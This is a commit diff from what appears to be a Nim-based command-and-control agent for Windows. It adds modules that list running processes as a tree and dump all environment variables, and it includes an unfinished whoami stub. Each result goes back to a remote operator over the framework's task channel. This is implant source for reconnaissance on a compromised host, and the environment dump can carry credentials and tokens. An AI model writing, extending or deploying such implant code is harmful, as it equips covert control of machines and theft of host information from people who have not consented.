Implemented basic "ps" and "env" commands.
This commit is contained in:
@@ -28,6 +28,7 @@ type
|
||||
FLAG_PLAINTEXT = 0'u16
|
||||
FLAG_ENCRYPTED = 1'u16
|
||||
FLAG_COMPRESSED = 2'u16
|
||||
FLAG_FRAGMENTED = 4'u16
|
||||
|
||||
CommandType* = enum
|
||||
CMD_SLEEP = 0'u16
|
||||
@@ -39,10 +40,14 @@ type
|
||||
CMD_RMDIR = 6'u16
|
||||
CMD_MOVE = 7'u16
|
||||
CMD_COPY = 8'u16
|
||||
CMD_PS = 9'u16
|
||||
CMD_ENV = 10'u16
|
||||
CMD_WHOAMI = 11'u16
|
||||
|
||||
StatusType* = enum
|
||||
STATUS_COMPLETED = 0'u8
|
||||
STATUS_FAILED = 1'u8
|
||||
STATUS_IN_PROGRESS = 2'u8
|
||||
|
||||
ResultType* = enum
|
||||
RESULT_STRING = 0'u8
|
||||
|
||||
150
src/modules/environment.nim
Normal file
150
src/modules/environment.nim
Normal file
@@ -0,0 +1,150 @@
|
||||
import ../common/[types, utils]
|
||||
|
||||
# Declare function prototypes
|
||||
proc executePs(config: AgentConfig, task: Task): TaskResult
|
||||
proc executeEnv(config: AgentConfig, task: Task): TaskResult
|
||||
proc executeWhoami(config: AgentConfig, task: Task): TaskResult
|
||||
|
||||
# Command definitions
|
||||
let commands*: seq[Command] = @[
|
||||
Command(
|
||||
name: "ps",
|
||||
commandType: CMD_PS,
|
||||
description: "Display running processes.",
|
||||
example: "ps",
|
||||
arguments: @[],
|
||||
execute: executePs
|
||||
),
|
||||
Command(
|
||||
name: "env",
|
||||
commandType: CMD_ENV,
|
||||
description: "Display environment variables.",
|
||||
example: "env",
|
||||
arguments: @[],
|
||||
execute: executeEnv
|
||||
),
|
||||
Command(
|
||||
name: "whoami",
|
||||
commandType: CMD_WHOAMI,
|
||||
description: "Get user information.",
|
||||
example: "whoami",
|
||||
arguments: @[],
|
||||
execute: executeWhoami
|
||||
)
|
||||
]
|
||||
|
||||
# Implement execution functions
|
||||
when defined(server):
|
||||
proc executePs(config: AgentConfig, task: Task): TaskResult = nil
|
||||
proc executeEnv(config: AgentConfig, task: Task): TaskResult = nil
|
||||
proc executeWhoami(config: AgentConfig, task: Task): TaskResult = nil
|
||||
|
||||
when defined(agent):
|
||||
|
||||
import winim
|
||||
import os, strutils, sequtils, strformat, tables, algorithm
|
||||
import ../agent/core/taskresult
|
||||
|
||||
# TODO: Add user context to process information
|
||||
type
|
||||
ProcessInfo = object
|
||||
pid: DWORD
|
||||
ppid: DWORD
|
||||
name: string
|
||||
children: seq[DWORD]
|
||||
|
||||
proc executePs(config: AgentConfig, task: Task): TaskResult =
|
||||
|
||||
echo fmt" [>] Listing running processes."
|
||||
|
||||
try:
|
||||
|
||||
var processes: seq[DWORD] = @[]
|
||||
var procMap = initTable[DWORD, ProcessInfo]()
|
||||
var output: string = ""
|
||||
|
||||
# Take a snapshot of running processes
|
||||
let hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
|
||||
if hSnapshot == INVALID_HANDLE_VALUE:
|
||||
raise newException(CatchableError, "Invalid permissions.\n")
|
||||
|
||||
# Close handle after object is no longer used
|
||||
defer: CloseHandle(hSnapshot)
|
||||
|
||||
var pe32: PROCESSENTRY32
|
||||
pe32.dwSize = DWORD(sizeof(PROCESSENTRY32))
|
||||
|
||||
# Loop over processes to fill the map
|
||||
if Process32First(hSnapshot, addr pe32) == FALSE:
|
||||
raise newException(CatchableError, "Failed to get processes.\n")
|
||||
|
||||
while true:
|
||||
var procInfo = ProcessInfo(
|
||||
pid: pe32.th32ProcessID,
|
||||
ppid: pe32.th32ParentProcessID,
|
||||
name: $cast[WideCString](addr pe32.szExeFile[0]),
|
||||
children: @[]
|
||||
)
|
||||
|
||||
procMap[pe32.th32ProcessID] = procInfo
|
||||
|
||||
if Process32Next(hSnapshot, addr pe32) == FALSE:
|
||||
break
|
||||
|
||||
# Build child-parent relationship
|
||||
for pid, procInfo in procMap.mpairs():
|
||||
if procMap.contains(procInfo.ppid):
|
||||
procMap[procInfo.ppid].children.add(pid)
|
||||
else:
|
||||
processes.add(pid)
|
||||
|
||||
# Format and print process
|
||||
proc printProcess(pid: DWORD, indentSpaces: int = 0) =
|
||||
if not procMap.contains(pid):
|
||||
return
|
||||
|
||||
var process = procMap[pid]
|
||||
let indent = " ".repeat(indentSpaces)
|
||||
|
||||
let tree = (indent & fmt"[{process.pid}]").alignLeft(30)
|
||||
|
||||
output &= fmt"{tree}{process.name:<25}" & "\n"
|
||||
|
||||
# Recursively print child processes with indentation
|
||||
process.children.sort()
|
||||
for childPid in process.children:
|
||||
printProcess(childPid, indentSpaces + 2)
|
||||
|
||||
# Iterate over root processes
|
||||
processes.sort()
|
||||
for pid in processes:
|
||||
printProcess(pid)
|
||||
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, output.toBytes())
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
||||
|
||||
proc executeEnv(config: AgentConfig, task: Task): TaskResult =
|
||||
|
||||
echo fmt" [>] Displaying environment variables."
|
||||
|
||||
try:
|
||||
var envVars: string = ""
|
||||
for key, value in envPairs():
|
||||
envVars &= fmt"{key}: {value}" & '\n'
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, envVars.toBytes())
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
||||
|
||||
proc executeWhoami(config: AgentConfig, task: Task): TaskResult =
|
||||
|
||||
echo fmt" [>] Getting user information."
|
||||
|
||||
try:
|
||||
echo "whoami"
|
||||
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
||||
@@ -1,4 +1,3 @@
|
||||
import ./manager
|
||||
import ../common/[types, utils]
|
||||
|
||||
# Define function prototypes
|
||||
|
||||
@@ -5,7 +5,8 @@ import ../common/[types, utils]
|
||||
import
|
||||
shell,
|
||||
sleep,
|
||||
filesystem
|
||||
filesystem,
|
||||
environment
|
||||
|
||||
type
|
||||
ModuleManager* = object
|
||||
@@ -24,6 +25,7 @@ proc loadModules*() =
|
||||
registerCommands(shell.commands)
|
||||
registerCommands(sleep.commands)
|
||||
registerCommands(filesystem.commands)
|
||||
registerCommands(environment.commands)
|
||||
|
||||
proc getCommandByType*(cmdType: CommandType): Command =
|
||||
return manager.commandsByType[cmdType]
|
||||
|
||||
@@ -1,4 +1,3 @@
|
||||
import ./manager
|
||||
import ../common/[types, utils]
|
||||
|
||||
# Define function prototype
|
||||
|
||||
@@ -1,4 +1,3 @@
|
||||
import ./manager
|
||||
import ../common/[types, utils]
|
||||
|
||||
# Define function prototype
|
||||
|
||||
@@ -82,9 +82,11 @@ proc handleResult*(resultData: seq[byte]) =
|
||||
case cast[StatusType](taskResult.status):
|
||||
of STATUS_COMPLETED:
|
||||
cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, fmt"Task {taskId} completed.")
|
||||
|
||||
of STATUS_FAILED:
|
||||
cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, fmt"Task {taskId} failed.")
|
||||
of STATUS_IN_PROGRESS:
|
||||
discard
|
||||
|
||||
|
||||
case cast[ResultType](taskResult.resultType):
|
||||
of RESULT_STRING:
|
||||
|
||||
Reference in New Issue
Block a user